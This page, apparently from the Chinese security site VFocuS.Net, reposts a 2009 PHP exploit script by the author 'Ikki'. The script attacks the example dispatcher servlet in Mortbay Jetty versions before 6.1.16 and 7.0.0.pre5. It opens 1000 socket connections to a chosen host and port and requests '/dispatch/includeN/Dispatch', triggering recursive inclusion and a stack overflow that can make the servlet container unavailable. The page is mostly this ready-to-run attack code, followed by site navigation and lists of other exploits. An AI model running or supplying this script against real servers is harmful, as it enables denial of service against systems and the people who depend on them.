首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit
来源:http://blog.nibblesec.org/ 作者:Ikki 发布时间:2009-05-09  

<?php
####################################################################################
# Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet DoS          
#                     
# Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 (all platforms)     
# Author: Ikki (http://blog.nibblesec.org/)           
#                     
# Description:                   
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a  
# malicious aggressor may abuse this functionality in order to cause a recursive  
# inclusion. In detail, it is possible to abuse the method        
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application  
# to recursively include the "DispatchServlet".          
# As a result, it is possible to trigger a "java.lang.StackOverflowError" and   
# consequently an internal server error (500). Multiple requests may easily affect  
# the availability of the entire servlet container.         
####################################################################################

error_reporting(E_ALL&E_NOTICE);
echo("\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org  ::\n");
echo(" :: Affected Software: Jetty < 6.1.16, < 7.0.0.pre5 - all platforms :: \n\n");

if($argc==3){
 $cont=0;
 $reqNum=1000;
 $req = "GET /dispatch/includeN/Dispatch HTTP/1.0\r\n";
 $req .= "Host: ".$argv[1]."\r\n";
 $req .= "\r\n";
 while($cont<$reqNum){
  $sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
  if(!$sock){
   echo "\nNo response from ".$argv[1];
   die;
  }
  fwrite($sock,$req);
  fclose($sock);
  echo(".");
  $cont++;
 }
 echo ("\n\nCheck your servlet container, after " . $reqNum . " requests:\n" . "http://" . $argv[1] . ":" . $argv[2] . "/");
}else{
 echo("\nphp " . $argv[0] . " <host> <port>\n\n");
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Luxbum 0.5.5/stable (Auth Bypa
·RTWebalbum 1.0.462 (AlbumID) B
·ViPlay3 <= 3.00 (.vpl) Local S
·TinyWebGallery <= 1.7.6 LFI /
·TYPSoft FTP Server 1.11 (ABORT
·Mereo 1.8.0 Arbitrary File Dis
·eggBlog <= 4.1.1 Local Directo
·microTopic v1 (rating) Remote
·PHP mb_ereg(i)_replace() Evalu
·MPLAB IDE 8.30 (.mcp) Universa
·Sorinara Streaming Audio Playe
·Personal FTP Server versions u
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved